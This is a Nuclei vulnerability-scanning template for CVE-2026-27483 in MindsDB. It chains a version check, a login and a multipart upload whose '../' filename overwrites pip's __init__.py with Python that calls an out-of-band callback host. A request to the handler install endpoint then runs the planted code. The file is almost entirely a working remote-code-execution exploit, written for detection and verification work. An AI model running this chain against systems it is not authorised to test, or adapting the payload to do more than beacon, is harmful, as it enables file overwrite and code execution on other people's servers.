id: CVE-2026-27483

info:
  name: MindsDB - Path Traversal to Remote Code Execution
  author: thewhiteh4t
  severity: high
  description: |
    MindsDB <= v25.9.1.0 is vulnerable to path traversal in PUT /api/files/.
    The python-multipart parser writes uploaded files using the attacker-controlled
    filename field without sanitization, allowing ../ sequences to write arbitrary
    content to any path writable by the MindsDB process. Template targets Python 3.10 installations.
    The vulnerable range is narrowed to >= 25.4.1.0 and <= 25.9.1.0 where Python 3.10 became the 
    minimum supported version.
  reference:
    - https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4894-xqv6-vrfq
    - https://github.com/mindsdb/mindsdb/commit/87a44bdb2b97f963e18f10a068e1a1e2690505ef
    - https://github.com/mindsdb/mindsdb/releases/tag/v25.9.1.1
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27483
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-27483
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 5
    vendor: MindsDB
    product: MindsDB
    shodan-query: http.title:"MindsDB"
  tags: cve,cve2026,mindsdb,path-traversal,rce,oast,intrusive,unauth

variables:
  username: ""
  password: ""
  token: ""
  filename: "{{randstr}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - id: fingerprint
    method: GET
    path:
      - "{{BaseURL}}/api/status"
    extractors:
      - type: regex
        name: mindsdb_version
        part: body
        group: 1
        regex:
          - '"mindsdb_version":\s*"([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)'
        internal: true
      - type: regex
        name: http_auth_enabled
        part: body
        group: 1
        regex:
          - '"http_auth_enabled":\s*(true|false)'
        internal: true
    matchers-condition: and
    matchers:
      - type: status
        internal: true
        status:
          - 200
      - type: word
        internal: true
        words:
          - "mindsdb_version"
        part: body
      - type: dsl
        dsl:
          - 'compare_versions(mindsdb_version, ">= 25.4.1.0", "< 25.9.1.1")'
        internal: true

  - id: local-login
    method: POST
    path:
      - "{{BaseURL}}/api/login"
    headers:
      Content-Type: "application/json"
    body: '{"username":"{{username}}","password":"{{password}}"}'
    matchers-condition: or
    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200 && contains(body, "token")'
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 400 && contains(body, "Error in username or password")'
    extractors:
      - type: regex
        name: token
        part: body
        group: 1
        regex:
          - '{"token":\s*"([^"]+)"'
        internal: true

  - id: upload
    raw:
      - |
        PUT /api/files/{{filename}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv9dZC0cAHLlHSHD9
        Authorization: Bearer {{token}}
        Connection: close

        ------WebKitFormBoundaryv9dZC0cAHLlHSHD9
        Content-Disposition: form-data; name="name"

        {{filename}}
        ------WebKitFormBoundaryv9dZC0cAHLlHSHD9
        Content-Disposition: form-data; name="source"

        {{filename}}
        ------WebKitFormBoundaryv9dZC0cAHLlHSHD9
        Content-Disposition: form-data; name="source_type"

        file
        ------WebKitFormBoundaryv9dZC0cAHLlHSHD9
        Content-Disposition: form-data; name="file"; filename="../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py"
        Content-Type: text/plain

        import urllib.request
        urllib.request.urlopen('http://{{interactsh-url}}')
        ------WebKitFormBoundaryv9dZC0cAHLlHSHD9--
    matchers-condition: and
    matchers:
      - type: status
        internal: true
        status:
          - 400
      - type: word
        internal: true
        words:
          - "Not supported format"
        part: body

  - id: trigger
    method: POST
    path:
      - "{{BaseURL}}/api/handlers/anomaly_detection/install"
    headers:
      Content-Type: "application/json"
      Authorization: "Bearer {{token}}"
    body: "{}"
    matchers-condition: and
    matchers:
      - type: status
        internal: true
        status:
          - 500
      - type: word
        internal: true
        words:
          - "Failed to install dependencies"
        part: body

  - id: verify
    method: GET
    path:
      - "{{BaseURL}}/api/status"
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"